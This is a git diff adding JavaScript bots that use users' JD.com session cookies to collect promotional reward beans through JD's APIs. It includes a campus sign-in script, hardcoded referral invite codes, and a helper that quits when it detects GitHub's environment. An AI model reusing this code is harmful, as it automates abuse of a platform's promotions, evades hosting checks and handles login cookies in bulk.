'jdapp;iPhone;9.2.0;14.0;53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2;network/wifi;supportApplePay/3;hasUPPay/1;pushNoticeIsOpen/0;model/iPhone10,2;addressid/138413818;hasOCPay/0;appBuild/167408;supportBestPay/1;jdSupportDarkMode/0;pv/1710.16;apprpd/WorthBuy_List;ref/JDWebViewController;psq/2;ads/;psn/53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2|5870;jdv/0|kong|t_1000089893_|tuiguang|9a75f97593f344eb9c46b99e196608d2|1605846323;adk/;app_device/IOS;pap/JA2015_311210|9.2.0|IOS 14.0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1',} + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_ds.js b/activity/jd_ds.js new file mode 100644 index 0000000..cbed929 --- /dev/null +++ b/activity/jd_ds.js @@ -0,0 +1,212 @@ +/* +京东代属脚本,类似十元街,⚠️⚠️⚠️⚠️限校园用户可使用,其他用户签到失败无京豆 +一周签到下来可获得30京豆,一天任意时刻运行一次即可 + +更新地址:jd_ds.js +参考github@jidesheng6修改而来 +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东代属 +10 7 * * * jd_ds.js, tag=京东代属, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_ds.png, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_ds.js, tag=京东代属 + +===============Surge================= +京东代属 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_ds.js + +============小火箭========= +京东代属 = type=cron,script-path=jd_ds.js, cronexpr="10 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东代属'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await userSignIn(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(async resolve => { + // $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { + $.msg($.name, '活动已结束', `咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) + } else { + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } + resolve() + }) +} +function userSignIn() { + return new Promise(resolve => { + const body = {"activityId":"28acd0b5255d4aed866c60508ebf10f8","inviterId":"gCBrvPfINCZc+dotfvHPlA==","channel":"MiniProgram"}; + $.get(taskUrl('userSignIn', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`今日签到成功`) + if (data.data) { + let { alreadySignDays, beanTotalNum, todayPrize, eachDayPrize } = data.data; + message += `【第${alreadySignDays}日签到】成功,获得${todayPrize.beanAmount}京豆 🐶\n`; + if (alreadySignDays === 7) alreadySignDays = 0; + message += `【明日签到】可获得${eachDayPrize[alreadySignDays].beanAmount}京豆 🐶\n`; + message += `【累计获得】${beanTotalNum}京豆 🐶\n`; + } + } else if (data.code === 81) { + console.log(`今日已签到`) + message += `【签到】失败,今日已签到`; + } else if (data.code === 82) { + console.log(`非校园用户无法签到`) + message += `【签到】失败,非校园用户无法签到`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=campus-mall&client=ds_m&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxcb6c7f7be08467e3/104/page-frame.html", + "Cookie": cookie, + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.18(0x17001231) NetType/WIFI Language/zh_CN'//$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_festival.js b/activity/jd_festival.js new file mode 100644 index 0000000..93cbdc8 --- /dev/null +++ b/activity/jd_festival.js @@ -0,0 +1,709 @@ +/* +京东手机年终奖 +活动时间:2021年1月26日~2021年2月8日 +更新地址:jd_festival.js +活动入口:https://shopping-festival.m.jd.com +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东手机年终奖 +15 0 * * * jd_festival.js, tag=京东手机年终奖, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_festival2.jpg, enabled=true + +================Loon============== +[Script] +cron "15 0 * * *" script-path=jd_festival.js, tag=京东手机年终奖 + +===============Surge================= +京东手机年终奖 = type=cron,cronexp="15 0 * * *",wake-system=1,timeout=3600,script-path=jd_festival.js + +============小火箭========= +京东手机年终奖 = type=cron,script-path=jd_festival.js, cronexpr="15 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东手机年终奖'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +const randomCount = $.isNode() ? 20 : 5; + +const inviteCodes = [ + `9b98eb88-80ed-40ac-920c-a63fc769e72b@94c2a4d4-b53b-454b-82a0-0b80828bfd37@e274c80b-82dd-470c-878c-0790f5bf6a5d@aae299fc-6854-4fa7-b3ef-a6dedc3771b7@91ae877b-c98b-484a-9143-22d3a70b4088`, + `9b98eb88-80ed-40ac-920c-a63fc769e72b@94c2a4d4-b53b-454b-82a0-0b80828bfd37@e274c80b-82dd-470c-878c-0790f5bf6a5d@aae299fc-6854-4fa7-b3ef-a6dedc3771b7@91ae877b-c98b-484a-9143-22d3a70b4088` +]; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://shopping-festival.m.jd.com/sf/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + 